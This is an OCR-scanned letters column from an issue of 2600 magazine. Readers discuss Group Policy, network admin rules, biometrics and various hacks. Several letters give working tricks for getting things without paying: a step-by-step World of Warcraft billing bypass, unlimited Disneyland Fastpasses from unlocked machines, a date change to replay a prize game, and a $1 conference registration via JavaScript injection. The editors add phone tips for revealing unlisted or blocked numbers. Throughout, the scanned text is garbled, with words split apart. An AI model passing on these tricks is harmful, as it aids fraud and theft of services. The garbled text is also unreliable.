of i naccuracies and  j ust genera l  la ck of understand ing  
of G roup  Poli cy rea lly ru ined  the a rticle fo r  me .  I t  i s  
c lea r that  the author  is  coming  at G roup Policy from the 
perspective of someone who has never rea lly used the 
techno logy i n  producti on ,  but rather is  j ust tryi ng  to 
learn  it by hacki ng  a round  ra ndomly. Specifi ca lly, here 
a re the prob lems I had :  

The author  says, "G POs a re speci a lized sn ippets of  
registry fi les contai n ing  the desi red registry setti ngs . "  
Th i s  is o n ly pa rtly t rue .  Regi stry poli cy is  o n ly about 
one  thi rd of the functiona lity in G P  - where it p rovides 
other thi ngs  such as secu rity configu ration ,  softwa re 
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deployment, fo lder redi recti on ,  etc. It is true that 
ma ny, but not a ll, of these a reas u lti mately touch 
the registry, but the mechanisms by which each do it 
a re different, and this is  significant to the point of the 
a rticle. 

The author says, "If a registry entry under  G PO con­
tro l i s  changed by a user, the G roup  Poli cy p rocess en­
su res that these changes a re ' undone '  and replaced 
with the setti ngs  p resent i n  the G PO . "  This is  problem­
ati c  i n  two ways. First off, the assumption  here is  that 
the user is  a n  admi nistrator on  thei r  machi ne  a nd  thus 
has  the abi lity to change a policy entry i n  the registry. 
Si n ce poli cy keys a re permissioned away from non-ad­
min i strative users, this would be genera lly diffi cu lt. 
H owever, the enti re a rti cle is  based on the premise that 
the user is  a n  admi nistrator and so I would a rgue  that 
a ll bets a re off i n  that case, j ust as  when a user i s  root 
on  a ' nix system .  There is  nothi ng  that GP ca n do ,  
within or  without the registry, that  ca n't be ci rcum­
vented by an  admi n .  The second  way this statement is 
problemati c  is  that even if the user changes underlyi ng  
reg keys related to poli cy, G P  wi ll no t  undo  th i s  u n less 
somethi ng  has changed (either in the G PO's version  i n ­
fo rmation ,  the use r  o r  computer's g roup  mem bership ,  
o r  i n  the list of G POs that app ly to the system )  si nce the 
last processi ng  cycle. So the user change wi ll remain 
unti l  one  of these events occurs .  This is  a common  
misconception  about  G P. 

The author  says, " However, this behavio r  ca n be 
q uite an noyi ng  and undesi rable when ,  fo r exa mp le ,  a 
home computer is used to con nect to the corpo rate net­
work so that the emp loyee may work from home . "  G P  
wi ll o n ly app ly t o  users a nd  machines that a re mem bers 
of an  AD  domain  ( u n less loca l GP is  set, which the home 
use r  wou ld be ab le to  control a nyway) . J ust because a 
user has  VPN 'd  i nto the corporate netwo rk does not 
mean that they wi ll get G P. In fact, they won 't in most 
cases because most home computers a re not mem bers 
of AD  domains .  

The a uthor, i n  his steps for disab li n g  G P, Step 3 i n ­
di cates, "These a re t he  a ctual  po li cy fi les t ha t  a re cre­
ated by the domai n SysAdmins  a nd  distri buted 
t h roughout the domain via the G PO process. Si n ce we' re 
tryi ng  to disab le this a ctivity, these fi les a re no longer  
necessa ry. " This statement i ndi cates a genera l  lack of 
understa nd ing  of the GP p rocessi ng  cycle . These fi les 
a re "a rchive" fi les that get recreated each ti me poli cy 
p rocessi ng  occurs.  They a re used to remove poli cy and  
then re-add po li cy, a nd  a re key to  the imp lementation  
of the so-ca lled "non-tattooi ng "  nature of registry po l­
i cy, and  si mp ly deleti ng  rea lly does nothi n g  one  way o r  
the other except under  spedfic ci rcu msta nces t ha t  a l­
low one  to ci rcumvent certai n secu rity poli cy, which I 
won't go i nto he re .  

The author  writes for Wi ndows 2000 on Step 4b ,  
"Create a new REG_DWO RD entry there na med ' Dis­
ab leGPO . '" I had  wondered about this si n ce, i n  the eight  
years  I've been worki ng  with G P, I have never heard of  
this va lue  as a way to disab le G P. Su re enough ,  it does 
not work. So I 'm not even su re where the author  got it 
from - it appears that the author  did not test it. 

In Step 5, the author  describes methods for chang­
i n g  G P  processi ng  behavio r  by poki ng  various  reg val­
ues .  This does not need to be done  manua lly, but ca n be 
done  through the loca l G PO edito r under  Computer 
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Confi gu ration\Adm in .  Temp lates\System\Group  Poli cy. 
The a utho r  descri bes repermissi o n i ng  the va rious  

po li cy keys i n  Step 6 .  Agai n ,  i f  the  user  can  d o  th i s ,  
t hey a re a dm i n  o n  thei r  mach ine  and  don 't even  need 
to perfo rm th is  step.  They can si m p ly de lete a ll the  
va lues i n  t he re o r, m o re easi ly, if t hey si m p ly want to 
disa b le GP p rocessi n g ,  how about just  stopp ing  a n d  
d isa b li n g  t h e  TCP/IP Netbi os H elper service ,  wh ich  
d isa b les Win dows'  a bi lity to tran s late D N S-based 
SYSVO L refer ra ls i nto U NCs and effectively ki lls the 
a bi lity to read t he  G PT po rtion  of G POs ,  wh ere a ll the  
setti n g s  a re sto red . But  agai n ,  i f  t he  user can  do  th is ,  
they a re a d mi nistrator on  thei r  box,  so  who  ca res? 
Also, n ote that j ust repermissi o n i ng  the po li cy keys 
does not disab le a ll G P, si n ce there a re many  oth er  a r­
eas of po li cy ( e . g . ,  secu rity, fo lder  redi recti o n ,  soft­
ware i n sta llati o n )  that do not use these keys. 

Step 7 i s  just a dig. You don 't n eed to reboot the  
PC after repermissi on i ng  reg  keys . Come  o n !  

A s  a n  overview, t h e  a rti cle provi des n o  rea l usefu l 
i n formati o n .  If a user  is adm i nistrator on the i r  box, I 
can thi n k  of at least a h a lf dozen ways to disab le G P  
with less work ,  but b ig dea l !  How about somethi n g  
useful, li ke h o w  non-adm in  users c a n  ci rcu mvent G P? 
That wou ld be i nteresti n g  a n d  I assu re you ,  there a re 
ways to do th is .  

Darren 

Dear 2600: 
This letter is in response to the  2 3 : 2  a rti cle 

" N etwork  Admin i strato rs: Why We B REAK H a rsh  Ru les . "  
I fe lt a response to be necessa ry to the  a lm ost ch i ld ish  
attitude  of kaigeX and his op ini on s  on  n etwo rk  po li cy. 
Wh i le I a g ree with some ,  I be li eve many  of his j udg ­
ments to be  i n  er ror. 

H e  is correct - many  of o u r  r u les a re to m a ke o u r  
lives/jobs  easi e r  a n d  t o  p rotect o u rse lves, both from 
lega l  responsi bi lity a n d  from career d amage .  They d o  
suck ,  b u t  t h i s  i s  o n ly because they keep peop le from 
d oi n g  whatever they want,  whenever they want .  Oth­
erwise they a re comp letely a pp rop riate.  

In my own ri poste to his responses,  I wi l l  try to 
keep them b ri ef. 

1) Use the n etwork for business purposes only. 
This is a legiti m ate r u le that abso lves the  company 
from a ny respons ib i lity s hou ld they fee l  the  n ecessity 
to terminate an emp loyee fo r thei r  a cti on s  on the  
computer. I t  is  a b la n ket r u le that covers everythi n g  
from p o r n  t o  down loadi ng  a vi rus t h rough  ema i l. 

2 )  No one hooks up other devices to the network 
without permission. H ow cou ld this  not be a good 
r u le? It  p revents data theft, i ntroductio n  of poten­
tia lly vi rus i n fected computers to the  n etwork, a n d  
p rovid i ng  u n a utho rized a ccess via unsecu red wi reless 
peri p h era ls ( access points ) .  

3 )  N o  o n e  installs their o wn softwa re or does in­
sta lls besides me. Yea h ,  because we do  n ot n eed to 
give users the a bi lity to i n stal l  iTu n es o r  Kaza a .  Be­
sides ,  you r  users wou ld then requi re adm i ni strato r 
p rivi leges on thei r  loca l box, which opens  u p  fu rth er  
secu rity h o les especia lly where vi ruses a re concerned . 

4) No one connects to personal email, either 
through a softwa re client or through a web in terfa ce. 
You ca n n ot rea sonab ly expect users to follow thiS� 
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fact, very few compa nies I've worked fo r a ctua lly h ave 
this r u le u n less th ey've complete ly b locked Internet 
a ccess. ka igeX's suggestion  is comp letely a ccu rate. 

5 )  No one uses cha t  software. Chat  software i s  a n  
avenue  o f  attack  a n d  a d rai n on  b an dwidth .  Also, con­
si de r  that you can o n ly disab le di rect conn ections  a n d  
tra nsfers loca lly, a n d  if  y o u r  users k n o w  w h a t  they're 
d oi n g ,  th ey'll just  reena b le them . 

6) No one uses file sha ring software. Obvious ly. 
This s hou ld be an offense worthy of termi nati o n .  

7 )  N o  use of Internet radio or do wnloa ding of mu­
sic or video files unless related strictly for work pur­
poses. We permit Internet radio usage ,  but  this i s  
so lely to a llow some entertai n ment  so lon g  as  work  
conti n ues .  

8 )  No copyrigh t  infringement. Same a s  6 .  
9 )  No a ttempting to  circum vent the current secu­

rity systems or ha cking. This i sn ' t  to p rotect you .  This 
i s  to p rotect the  netwo rk .  Rega rd less of how "good"  
you a re,  damage can sti ll be  done  un i ntenti ona lly. I f  
you vio late this r u le,  you s hou ld be  s ubject to termi­
nation  and lega l  respons ibi lity fo r your a cti on s .  Wou ld 
you want to be fi n a n cia lly responsi b le fo r corporate 
downti m e  reSU lti n g  in h u n d reds of thousands  of do l­
la rs of loss? 

10) We make it clea r tha t  we offer no expectation 
of privacy on our n etwork. It is perfectly reasonab le.  
Ever hear  of entrap m ent? Well, if we catch you s u rfi n g  
p o r n  a t  work,  y o u  ca n n ot c lai m t h a t  we d i d  n ot m a ke it 
clea r  that we m ay m onitor your traffi c .  This i s  a lso a 
lega l  safegua rd so that we ca n n ot be responsi b le 
s h o u ld you b rowse, say, you r  b an ki n g  records whi le at 
work and your  credit i n fo rmati on  gets sto len or 
hacked .  This rou g h ly tra ns lates to "at your  own ri s k . "  

11 )  All  executable and zip files a re blocked a t  the 
firewa ll. This has  gone  overboa rd b ut it's a ll or noth­
ing so I 'd much p refer n othi n g .  

In  closi n g ,  wh i le kai geX ha s  some  g o o d  points ,  h e  
s u re has  a bad  way  of presenti n g  t hem .  Anyone who  
worked unde r  m e  with these ki n d s  of viewpoi nts wou ld 
a lm ost certai n ly lose thei r  job  very qu ick ly, pa rticu­
la rly with that "above the law" attitude .  When  you 
work i n  IT, you a re n ever a bove the  law. You a re pa rt of 
it a n d  s h o u ld set the exam p le .  

I f  there a re two positive poi nts t ha t  come from  
th i s  who le thi n g ,  h owever, they a re these .  First, every 
company a n d  network  i s  different. It i s  up to the peo­
p le who k now these networks the  best to decide  on 
the ru les that s hou ld govern them and no others, re­
ga rd less of how whiny you r  sa les depa rtment is. Sec­
o nd ,  a ll users s h o u ld be educated a bout  security 
po li cy a n d  s h o u ld be made  to u ndersta nd  that  little to 
no tro ub le wi ll a ri se  if they report secu rity la pses, 
rather than wait fo r them to be exp loited .  At our com­
pa ny, we were recently victi m to an email carryi n g  a 
vi ra l atta c h ment. O n ce we made  it c lea r that  we were 
m o re concerned about security t h an  pun i s hment, five 
people acknowledged open ing  the li n k, o n ly one  of 
which had been i n fected however. (The attacker 's 
server had DoS'd itself. ) 

Si n ce that  ti m e  we h ave had  n u m erous  reports of 
susp icious  ema i ls and a fa r m o re vig i lant staff. 

Secu rity is everyon e's  responsib i lity, even if the  ru les 
do " suck . "  

eviscerator 

Dear 2600: 
In 2 3 : 2 ,  i n teresti n g  objecti o n s  to the  " H a rs h  

Ru les" a rti cle. 
1 .  Network use for business only. If you pay for the  

conn ection  to your  resi dence ,  you h ave the  ri g h t  to  
g rant  o r  deny a ccess to that connecti o n .  The  organiza­
ti on  pays for the  connecti o n ,  software ,  and p hysica l  
p la nt. G uess who  gets to m a ke t he  ru les on  that o n e? 
For  what  it 's worth ,  I do be lieve i n  a llowi n g  conve­
n ience s u rfi n g  (web ema i l, b a n ki n g ,  etc . ) .  The best 
b a la nce wou ld li kely be to dep loy a p roxy a n d  block 
executab les ,  but then  there 's scripti n g  . . . .  

2 .  No unauthorized connected devices. You ' re j o k­
i n g ,  rig ht? See [ 1 ]  a bove a n d  a lso ,  a ny confidenti a lity 
of com pany  data is u n enforceable if you a llow this .  
Additi ona lly, this i s  a n  excellent vecto r for m a lware of 
a ll types. 

3 .  No unapproved software insta lls. Err  . . .  if soft­
ware can hose a Wi ndows box ( a nd  fai rly often does) , 
who ' s  g oi n g  to fix it? You?  O u r  u sers possess,  on aver­
age ,  the computer knowledge  of a seven-yea r-old .  The  
orga nizati on  pays  to repai r a system you h osed and  
a lso  pays  fo r the productivity lost  wh i le the  system 
gets fixed .  The desktop suppo rt types genera lly report 
to the  n etwork  types and the  a dm i n  i s  in the  escala­
ti o n  path . 

Th ere's mo re li ke this ,  but suffice it to say, n et­
work a dm i n s  do not serve the  user. Real ly. It's n ot i n  
the  job  descri pti o n .  

A n etwork  admin ' s  client  i s  the  organizati o n .  O u r  
j ob  i s  to provide  the best stabi lity, reli a bi lity, a n d  se­
cu rity possi b le,  wh i le sti ll e nab li n g  n eeded fun cti ona l­
ity, a n d  doi n g  so with usua lly i n adeq uate resou rces, 
ti me ,  and people ( n ot to menti on  a hosti le o r  i ndiffer­
ent upper  managem ent. m a ny of them cryba bies a n d  
p ri m a  donna s ) .  

A n etwork  adm in  ( m o re li ke system s  m a nager  
these days )  ca n 't sp i t  without bei n g  offi cia l .  Near ly 
every decisi on  has  po li cy i m p lications ,  someti mes fa r 
o utsid e  IT. Good  network  adm i n s  h ave a reputation  for 
bei n g  "diffi cu lt" for exactly that  rea so n .  U sers thi n k  
t h e  a d m i n  i s  there t o  serve thei r  n eeds .  This i s  a lm ost 
n ever true .  It i s  a lso rarely persona l, t hough  the ad­
mins that  fa ll s ho rt on  p rofessi o n a li sm usua lly carry 
g rudges .  

To conc lude ,  the  job  i s  to j u gg le (and m ostly sat­
isfy) the contradictory n eeds of severa l opposi n g  
groups ,  n one  of whom li ke the  others o r  the  n etwork  
admin .  It i s  diffi cu lt at best ,  madden i ng ly i m possi b le 
at worst. 

As fa r as the W 2 K  thi n g  goes, it's secu rity sup­
po rted u nti l 2010 .  M igration  of 100 desktops to a n ew 
OS a n d  version  of Office is a bout  $ 100,000 in li cens­
ing and reso u rces and 90  days of peop le ti m e  i n  a 
24/6 faci lity li ke this o ne  with ba rely enough  staff for 
the  regu la r  s hifts . Did I mention  I h ave been r unn i ng  
t h i s  I T  system s  g roup  with n o  offici a l  b udget fo r two 
years? Any p u rchase over $500 has to be  signed  by the  
head  executive who  doesn 't know how to progra m his  
VCR . . . .  
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Network adm ins  a re usua lly not out to get every­
one (we're not a ll BO FHs ,  you know) . We don 't h ave 
that ki nd  of tim e  a n d  energy. 

Please consider that m a ny of the policies you dis­
li ke may be resu lts of compromise,  maki n g  the best of 
a bad situati o n ,  etc. 

Anonymous 

Dear 2600: 
This is in response  to Zen master's question  a bout 

Disn eyla n d 's Fastpass mach ines in 23 : 2 .  Wh i le at Dis­
n eyla n d  for a school tri p  my friend  showed m e  how he 
had been s hown the  tri ck  to getti n g  u n li mited Fast­
passes .  Someti m es the front of the machines a re u n ­
locked a n d  wi ll s li de  o p e n  li ke a chest of d rawers .  
Ins ide there s hou ld be a button o r  a switch that  you 
wi ll have to fli p o r  p ress .  I don 't remember  if  th is  wi ll 
p ri n t  you your pass. If n ot there wi ll be a n other  b ut­
ton on the  back that wi ll p ri n t  it out. Enjoy! Tha n k s  to 
M a rk and J u sti n fo r showi n g  m e  that. 

Josh 

Dear 2600: 
I 'd li ke to put my vote forwa rd (as suggested i n  

Letters, 2 3 : 1 )  for the  productio n  a n d  subsequent  p ro­
m otion  of co lla red , po lo-style shi rts. And  fu rther, 
p lease adopt the  2600 van  logo on the front  pocket. 
I've a lways li ked it. 

My 3 . 14 cents . . . .  
R. 

We've gotten many suggestions and hope to get 
many more. 

Dear 2600: 
I was a little concerned by P3ngul n 's  letter in the  

23 : 1  i s sue ,  page 35 .  I d on 't know what sou rce the  eth­
ical h acker q u a lificati o n  h e  talks of comes from but 
s u rely the  i mportant thi n g  i s  that h e  i s  lea rn ing  rathe r  
than  passi n g  a n  exa m ,  which h e  i s  havi ng  to take  two 
jobs  to pay for. His letter gave the imp ression  that  h e  
i s  j ust payi n g  for the  ex am  a n d  no t  t oo  much ,  if  a ny­
th ing ,  i n  the way of materi a l  si nce he  is do ing  h is  re­
search  on  the n et.  At least you g uys gave him advice 
fo r free .  I was su rp rised you did not pick this u p  in 
your  response but  maybe you  know somethi n g  I d on 't? 
My a dvice to him a n d  a nyon e  in a si milar situati on  
wou ld be to  save the  money for when  he gets to col­
lege a n d  enjoy lea rn ing  for n ow. H e  seems to be a s k­
i n g  the  rig h t  q uesti on s  a n d  if he did not h ave t he  two 
jobs  he wou ld h ave m ore ti m e  fo r computers a n d  
m aybe even other thi ng s  too? 

Beowulf 
Advice about enjoying learning is something tha t  

should be taken seriously, especially i n  college years. 
We find that  far too often people, pa rticularly in the 
computer-related fields, ten d  to see college as little 
more tha n  a stepping stone to some sort of job or ca­
reer. While it can indeed serve such a purpose, there is 
so much more which is often overlooked. By being just 
a little less practical, all sorts of interests a n d  ideas 
you might have n ever been exposed to will a ffect your 
life and make you tha t much more unique a n d  well­
rounded. Which is what college is supposed to be a ll 
about. 

Dear 2600: 
This letter is in response  to "The Th reat of Bio m et­

rics" a rticle in 20 : 3 .  _cH iCkEn  was concerned that 
you cou ld possi b ly reverse the  stored Mo rphoTouch 
data to obtai n the  o rigi n a l  fi ngerpri nt .  I wrote a 
wrappe r  class for a DigitalPersona  ( D P) fi n gerprint  
sca n ne r  SDK a n d  fou n d  that the  stored data ( registra­
tio n  p ri nt) was an a r ray of 517 bytes known a s  a b lob .  
The  average  p ri n t  contai ned a bout 46 zeroes .  I cou ld 
h ave a lso  stored a picture of every sca n .  

To obtai n a registrati o n  p ri nt, t h e  s ubject m ust 
scan their fi nge r  fou r  times .  If you d o  not p lace you r  
fi nge r  i n  t h e  center of the  lens ,  if it 's n ot flat e nough ,  
o r  if the  image  i s  t oo  lig ht, d a r k ,  n oisy, l ow  of con­
trast ,  does n ot contai n enough features, o r  n o  centra l 
regio n  is fou n d  then  you a re prompted to try the  fi n ­
ger  agai n .  A m in uti ae-based a lg o rit h m  i s  then  u sed  to  
extract featu res from the  i ma ges a n d ,  if  it does  n ot 
fai l, then  a s igned a n d  encrypted blob is retu rned .  

When a p ri n t  i s  to be verified ,  you h ave to compa re 
the sam p le (a 2 5 5  byte a r ray) to each registered p ri n t  
usi n g  a bu i lt-i n rotation  i nvari ant  a lg o rith m u nti l you  
either  fi n d  a match  o r  n ot.  There i s  a fa lse a ccept rate 
of 0.01 percent a n d  a fa lse reject rate of 1 . 5  percent. 
Each scan ta kes between 0.1 and 0.3 second s  a n d  
each compare ta kes 0 . 1  seconds .  I enj oyed h ea ri n g  
you r  op in ion a n d  h o p e  t h a t  this he lps y o u  form a bet­
ter op in ion  of the  tech no logy. There a re a lso  reti n a ,  
i ri s ,  a n d  voice sca n s .  

SeLTiC 

Dear 2600: 
The a rticle in 2 3 : 2  by Moebius  Stri p entitled 

" Hacki n g  the System "  was mi ld ly entertai n i ng  but I 
fai l to see where it a dd resses hacki n g  or even "soci a l  
eng ineeri n g . "  What  Moeb i u s  d id  was si m p ly b lackma i l. 
B lackma i l  a n d  hacki n g  a re n ot the  s ame  thi n g .  I thi n k  
people a re getti n g  t o o  li bera l  with thei r  d efi niti ons  of 
h a cki n g  a n d  h ackers these days. 

Dear 2600: 
If it was O K  for Moebius  Stri p ( 2 3 : 2 )  to s u rvei l h is  

gym teac her, why i s  it wro n g  for NSA to s u rvei l 
people? 

Life Subscri ber 
Whether or not  those a ctions were OK is up to the 

reader. But there a re significant  differences between 
the two a ctivities. A single person can be disciplined. 
A government agency tha t  operates under secrecy is a 
bit trickier a n d  a lot more dangerous. 

Dear 2600: 
This is in response  to a n si c h a rt's letter ( 2 3 : 2 )  

about how to convi n ce h i s  pa rents of the  worth o f  
2600. His  a r g umen t  wa s  t h a t  it " in creases the  intelli ­
gence and awareness  of the  ethica l hacki n g  com m u­
nity. " How about  it j ust i n creases i ntelli gence a n d  
awareness, period?  

I a m  a n  IT  p rofessi o n a l  who  read s  you r  m a gazi ne  
a n d  I fi n d  the  a rti cles i nfo rmative a n d  interesti n g .  Re­
cently I read "Javascript Injecti o n "  by A5anO  ( 2 2 : 3 )  
a n d  fou n d  it i n te resti n g  enough  to bookmark the page 
fo r futu re reference.  The  future ca m e  today a s  some­
o n e  app roached m e  to do some  work on the  website of 
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a nonp rofit orga nizati on  that they a re associated 
wit h .  H e  s howed me the page that n eeded m odifyi n g  -
it a llows people to register o n li n e  fo r their  confer­
ences .  I reca lled the tri ck  outli ned  by A5anO a n d  tried 
it o n  this page  and . . .  voi la ! I was a b le to register for 
thei r  conference for $ 1 . 00 .  I s howed this to h im a n d  
h e  t h an ked m e  a n d  w e  a re i n  th e p rocess of correcti n g  
it now. 

If discovered by someone  u n eth ica l, th is  su rely 
wou ld h ave been used for n efa rious  p u rposes .  Thanks  
to A5anO a n d  2600, th i s  n onp rofit organi zation  has  
p rotected itself from potenti a lly getti n g  ri pped off. 

As you h ave said befo re, you ca n 't p rovide  secu rity 
by obscuri ty. Yes ,  potenti a lly you a re educati n g  some  
crooks,  but  m ost of those  c rooks  a re g oi n g  to get  the 
i nfo rmati on  one way o r  a n other. Educati n g  the  rest of  
us  fa r o utwei g h s  the  ri s k  of potenti a lly educati n g  a 
few who  may use t he  i nfo rmation  fo r crim i n a l  p u r­
poses.  

Tha n ks A5anO !  Thanks  2600! 
CJ 

We couldn 't have made those points any better. 
It's a lways good to hear such stories. 

Dear 2600: 
You r  m agazi n e  rocks.  P lease don 't c hange  a thi n g .  

I've b e e n  read ing  si nce 1 9 9 8  a n d  sti ll g et t h a t  u n ex­
p lai n a b le g iddy feeli n g  every ti m e  I pick u p  the latest 
copy at the loca l bookstore. M ust be the a roma of 
fresh  knowledge hot off the p ress that keeps me com­
i n g  back fo r m ore. 

Props to FxYxlxE for the (SS a rti cle i n  2 3 : 1 .  I defi­
nitely enj oyed the read .  Someth ing  I wou ld li ke to 
h ave seen add ressed a re the countermeasures that 
cou ld defeat the  exp loits that  FxYxlxE poi nts out.  
There a re some si m p le steps that our web developer 
friends  out  there ca n take to li mit the success of th ese 
types of exp loits, m ost n otab ly usi n g  client sou rce IP 
a s  pa rt of the cooki e  constru cti on  a n d  checki n g  it with 
the sou rce of each HTTP  req uest. 

Keep up  the g reat work. 
Anymoose 

Dear 2600: 
It m ust be said I 'm  a bit taken back by She lly l 's 

s ho rt letter ( 2 3 : 2 ) .  I started "ph rea ki n g "  when I was 
12  and it wasn 't even ca lled that th e n !  Wh i le th ere a re 
a h a ndfu l of tru n ks where 2600 he rtz wi ll a ctua lly 
" h a ng  up "  ( c lea r fo rward) a ca ll, it is i ndeed lega cy 
a n d  won 't be for that  m uch longer. 

Doub ly taken back at the  possi b i lity th is  is a little 
gir l !  There weren 't any  when  I sta rted . I'm sti l l  a Foon 
Ph rea k, b ut th is  ti m e  with the b lessi ng s  of some of the 
world 's la rgest compa nies .  ( U n fortunately no  U . S .  
company wa nts a t h i n g  to do  with m e  as  fa r as  I 
know. ) She { ? )  can call me a nyti m e. The  cha llenge  i s  
a lmost n obody knows my n u m ber. It's a Dutch n u m ber 
but with a n  " u n k nown"  D utch a rea code.  she{?)  wi ll 
have to vi sit me in Europe a n d  I do n 't  thi n k  I h ave to 
say why. 

Of cou rse,  rea l h a ckers a ren ' t  o ut to break the law 
and get i nto trou b le .  We a re j ust cu rious  and a re a l­
m ost a lways better t han  those who  c la im to be "com­
puter security peop le . "  

For starters, the  p ay  i s  good  a n d  m a ny of u s  a re 
m i lli ona i res .  That is the  wro n g  reason  to start, but 
true passion  i s  h ig h ly rewa rded .  As for a ll the  very 
young  people,  try to thi n k  traditi ona lly. Get rid of the  
Wi n d ows for sta rters ! Software has  a lways been  "free" 
a n d  "co m m e rcia l  softwa re"  i s  an a n o m a ly. Write you r  
o w n  a n d  contri bute t o  BSD  ( * BsD ,  M a c ,  so la ri s ,  etc . )  
o r  Li n ux a n d  fo r  the  rea l a dventu rous ,  m aybe H U RD?  
It's o n ly been  a b i t  over ten years we've faced th i s  
m assive i ntrusi o n  a n d  we certai n ly p la n  to wi n with a 
better, u p-to-date prod uct. 

BillSF 
Amsterd a m  

BLowing the WhistLe 
Dear 2600: 

I h ave fou n d  a bug  in a website that I reported 
over 12  m o nths  ago but t hey don 't seem to care. The  
website i s  G reatAmerican  Products . com .  They se l l  a va­
riety of stra nge  bea uty products that  my fia n ce loves 
to waste money o n .  

Anyway, i n  the  t o p  ri g h t  h a nd  corner  o f  thei r  ma in  
page  th ere i s  a s lot mach ine  g ame  that you can p lay to  
wi n free products . You s h o u ld o n ly be  a llowed to p u ll 
the  a rm  th ree ti m es before you a re routed to a n other  
page  that  tells you "Sor ry !  P lease  t ry  aga in  tomorrow. 
Good luck ! "  If you try to c li ck  the s lot's image  aga in  to 
try to p lay o n e  m ore ti me ,  you get a m essage sayi n g ,  
"You ca n o n ly p lay o n c e  p e r  d a y !  Please try a g a i n  to­
mor row. Good  luck ! "  All you h ave to do i s  c hange  the  
date  o n  your  computer, and  voi la , you get mo re 
c h a n ces to p lay. 

From what I can tell, the site creates no  cookies to 
track your g ame  p lay. I beli eve the fla s h  g ame  that is 
loaded  bases itself off of your com puter's date, time ,  
a n d  possi b ly I P  add ress/com p uter n ame  a n d  compa res 
that  with thei r  server si de  database to track what  
computer has  p layed that game and at what ti me .  It's 
very possi b ly some  sort of Sal database si nce the site 
i s  PH P a n d  the two go h a n d  in h a nd .  I haven 't rea lly 
h a d  a c h an ce to look  at the  code but I feel  my as­
s umptio n s  a re correct. 

As I have stated befo re, I h ave n otifi ed 
G reatAmerican Products . com a bout th is  error. I do  n ot 
condone  the  use of this b ug  to receive free products. 
Actua lly, it 's n ot free.  You h ave to pay fo r sh ippi n g  a n d  
h a n d li n g .  J ust thought  t h a t  I wou ld p ub li cize t h i s  er­
ror si n ce it has n ot been cleared up in over a year. 

doh boy 
It's also quite possible tha t  they actually want 

people to get addicted to this little contest of theirs 
so tha t  they think they're actua lly getting something 
of value. 

Dear 2600: 
First of a ll. g reat magazine ,  a n d  I love both your  

radio s hows.  I wis h  I cou ld h ave made HOPE but I 'm 
tryi n g  to save fo r a down paym ent on  a house rig h t  
n ow. Anyway, I j ust wanted to s h a re a n  i n teresti n g  ex­
perience I had with an appa rent flaw in the WoW 
bil li n g  system that wi ll a llow you to get a free day of 
g ame  p lay. I had been away from WoW and wa nted to 
spend  an afternoon or two m essi n g  a round .  I wasn 't 
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rea lly loo ki n g  forwa rd to payi n g  for a fu ll m onth ' s  sub­
scription  when I knew I wou ld get bo red of the  g ame  
a g a i n  after a few days.  Well, I gave i n  to my tempta­
tio n  and decided to d ro p  the  $15 to have a n  afte rnoon  
i n  the  game .  The first thi n g  I d id  after loggi n g  i n  to  
the  g ame  was to g o  cancel my subscri ption  so  I d i dn 't 
forget a n d  get hit with a n other  m o nth of la m e  
M M O RPG style a utomatica lly reoccu r ri n g  bi l li n g .  

I g o t  a g o o d  fou r  hou r  session  i n  a n d  t h e n  t o  m y  
su rp rise the  n ext tim e  I tried  t o  logi n i t  sa id my sub­
scription  was expi red . My credit ca rd was never a ctu­
a lly bi lled for the  n ew subscri ption  yet I got a day's 
worth of gam ing  i n .  I have tried this  si n ce and wo rked 
with the s ame  success .  

He re i s  what you do.  Ta ke a n  account with a n  ex­
pired subscri pti o n  and sig n  u p  fo r a n ew one month 
s ubscri pti o n .  After your  payment i s  "a ccepted , "  log in  
to the g ame  client  with  your  now a ctive account .  N ow, 
whi le sti ll logged in to the game ,  go back to your  ac­
counts page and cancel the  n ew subscripti o n  you j ust 
pu rchased .  N oti ce you r  a ccount  wi ll stay logged in to 
the g ame  as  lon g  a s  you d o  n ot log out of your cha rac­
ter. 

Is this an u n advertised "tri a l  period "  bu i lt in to the  
bi l li n g  system o r  j ust a ti m i ng  issue i n  thei r  bi l li n g  
system?  

El  Duderi n o  
You may have found a little fla w  i n  their billing 

system which allows you to get a way with this. We sus­
pect you will soon become acqua inted with a fea ture 
of theirs tha t bans people who do this repeatedly. 
Tha t  is, assum ing they have any sense at all. 

Exploration 
Dear 2600: 

I recently m et a g i r l  in a ba r  a n d  went back h ome  
with her. S omehow  we go t  i n to a conversation  about  
phone  n u m bers a n d  s h e  bet m e  I cou ld n ever fi g u re 
out her  u n listed n u m ber. Well, the  second  s h e  went 
i n to the  bathroom I picked u p  her  receiver and used 
the  o ld 958 tri ck  to get it . Do  you g uys know any  other 
cool  thi ngs  I can dia l i nto my phone? 

Phone Trick 
Where 958 doesn 't work, you can always just ca ll a 

cell phone or land line with Caller ID and get the num­
ber that way. Dialing *82 first will ensure that  any 
number blocking is disabled. There are all sorts of 
other fun numbers to call which can vary by region 
and, of course, coun try. But we find the most fun out 
of number identification, ringbacks, numbers tha t  
tempora rily disable the line, and the like. We're always 
open to printing some of the more interesting ones 
our readers dig up. 

Dear 2600: 
I would be inte rested if anyone has  any  i nfo rma­

tio n  on  the a utomated refi ll test  program bei n g  used 
at Disn ey's B lizzard Beach and Typhoon  Lagoon ,  
specifica lly the  ba rcode generation  a lgo rith m ( i f  a ny) 
and the  a ctua l  mecha nics beh ind  the  mach ines them­
selves. My own ( pitifu l) resea rch i s  receivi n g  ve ry  little 
resu lts. 

Vi nce N. 

Dear 2600: 
Whi le entertai n i ng  myself with my n ew magnetic 

stri pe  read ing  h obby (th a n k  you Redbi rd ! ) ,  I cam e  
u p o n  a Casua l  Corners gift card .  Si nce  the  store h a s  
b e e n  b o u g h t  o u t  o r  gone  bank rupt, I fig u red I ' d  fire 
u p  S kype a n d  cal l  the card ba la n ce n u m ber  just fo r the 
s a ke of curiosity. What I hea rd was i ntri g u i ng ,  to say 
the  least. It was a recorded voice spitti n g  out n u m bers 
fo llowed by a busy sig n a l. Each ti m e  I ca lled I received 
different n u m bers ,  which certai n ly don 't sound  li ke 
error codes .  I 've h ea rd of "spy n u m bers" on s ho rtwave, 
but not on u n used toll free p hone  n u m bers .  Anyway, I 
j ust wanted to s h a re this  n u m ber, hop ing  that  some­
one  cou ld h elp m a ke some  sense out  of it befo re the 
recordi ng s  cease .  The n u m ber  i s :  1 -877-706-2042 .  

fortschreiten 
We've come across numbers like this before. In 

this case, we're getting the number 71 1 4051 489 read 
each time preceded by wha t  seems to be a random two 
or three digit number. The touch ton es seem to repeat 
these numbers with a few extra ones added in. The 
whole thing is definitely quite weird. 

HOPE Stuff 
Dear 2600: 

One  thi n g  I love a bout your  Ill agazi n e  i s  a ll the 
